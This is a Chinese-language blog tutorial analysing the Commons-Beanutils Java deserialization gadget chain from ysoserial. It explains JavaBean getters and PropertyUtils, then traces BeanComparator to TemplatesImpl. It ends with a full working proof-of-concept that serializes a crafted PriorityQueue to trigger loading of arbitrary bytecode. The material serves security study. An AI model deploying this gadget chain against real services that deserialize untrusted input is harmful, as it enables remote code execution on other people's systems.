环境配置
commons-beanutils 1.8.3
commons-logging:commons-logging:1.2
jdk 8u71
pom.xml 添加
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>
Apache Commons Beanutils是Apache Common下的一个工具集下的另一个项目,提供对普通Java类对象(JavaBean)的一些操作方法
JavaBean 是一种JAVA语言写成的可重用组件,它是一个类。
所谓javaBean,是指符合如下标准的Java类:
- 类是公共的
- 有一个无参的公共的构造器
- 有私有属性,且须有对应的get、set方法去设置属性
- 对于boolean类型的成员变量,允许使用"is"代替上面的"get"和"set"
在java中,有很多类定义都符合这样的规范。一个简单的 javaBean:
package org.example;
public class Main{
private String name = "GRYS";
private int age;
public String getName(){
return name;
}
public void setName(String name){
this.name = name;
}
public boolean isChild() {
return age <= 18;
}
}
在 CB 中有个工具类叫PropertyUtils,它可以对 javaBean 进行一些操作
PropertyUtils类下提供了一些静态方法,以方便开发者直接调用一些getter和setter方法:
- getProperty:返回指定Bean的指定属性的值
- getSimpleProperty:返回指定Bean的指定属性的值
- setProperty:设置指定Bean的指定属性的值
- setSimpleProperty:设置指定Bean的指定属性的值
package org.example;
import org.apache.commons.beanutils.PropertyUtils;
import java.io.IOException;
public class CBtest{
public static void main(String[] args)throws Exception {
CBtest cb = new CBtest();
cb.setName("gaoren");
String name1 = (String) PropertyUtils.getProperty(cb, "name");
PropertyUtils.setProperty(cb, "name","yusi");
String name2 = (String) PropertyUtils.getProperty(cb, "name");
System.out.println(name1);
System.out.println(name2);
}
private String name = "GRYS";
private int age;
public String getName(){
return name;
}
public void setName(String name){
this.name = name;
}
public boolean isChild() {
return age <= 6;
}
}
这里用到的 getProperty 和 setProperty 实际上就是调用的 javaBean 中的 getter 和 setter 方法
CB 链分析
在 cc2 的基础上,cb 链寻找了个新的 compare 进行利用。在 ysoserial 中给出了最后利用的是BeanComparator.compare() 函数,前面部分和 cc2 没有什么区别。
跟进到 BeanComparator.compare() 函数,
可以看到在不满足property == null 条件后会调用 PropertyUtils.getProperty
,这个我们上面说了可以调用 javaBean 的 getter 函数。
接着看,在 ysoserial 中利用其来调用了 Temlatesimpl.getOutputProperties() 方法也就是 _outputProperties
属性的 getter 方法,之前学了 Temlatesimpl 动态加载字节码,知道 getOutputProperties () 函数可以层层触发实现该目的。
所以这里让 o1 为templates对象,然后property为TemplatesImpl的 _outputProperties
属性,即可调用 TemplatesImpl.getOutputProperties()
,最后就可以进行动态加载字节码了。
poc 编写
先实例化 BeanComparator 对象,看其构造函数
我们要让 property 为 outputProperties 属性,这样调用的 getter 函数才是 getOutputProperties()
,所以:
BeanComparator comparator = new BeanComparator("outputProperties");
在 ysoserial 是先调用的无参构造函数,然后通过反射修改的 property 属性
BeanComparator comparator = new BeanComparator();
setFieldValue(comparator, "property", "outputProperties");
和 cc2 不同的是因为 cc2 最后是直接由 compare 调用的 transform 方法,而这里是通过 compare 去调用 getter 方法,所以还要控制 compare 方法的参数。
溯源 o1,发现就是传入的 queue
数组,反射修改值
Object[] queue_array = new Object[]{tem,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);
最后前面照搬 cc2,后面 comparator 那里换一下就 ok 了,
最终 poc
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CBtest {
public static void main(String[] args)throws Exception {
TemplatesImpl tem =new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("D:/gaoren.class"));
setValue(tem, "_bytecodes", new byte[][]{code});
setValue(tem, "_tfactory", new TransformerFactoryImpl());
setValue(tem, "_name", "gaoren");
setValue(tem, "_class", null);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{tem})
};
ChainedTransformer cha = new ChainedTransformer(transformers);
PriorityQueue queue = new PriorityQueue(1);
BeanComparator comparator = new BeanComparator("outputProperties");
queue.add(1);
queue.add(1);
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,comparator);
Object[] queue_array = new Object[]{tem,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);
serilize(queue);
deserilize("ser.bin");
}
public static void serilize(Object obj)throws IOException {
ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(obj);
}
public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
Object obj=in.readObject();
return obj;
}
public static void setValue(Object obj,String fieldName,Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
标签:name,链分析,CB,commons,queue,详细,new,import,String
From: https://blog.csdn.net/2301_79700060/article/details/140137929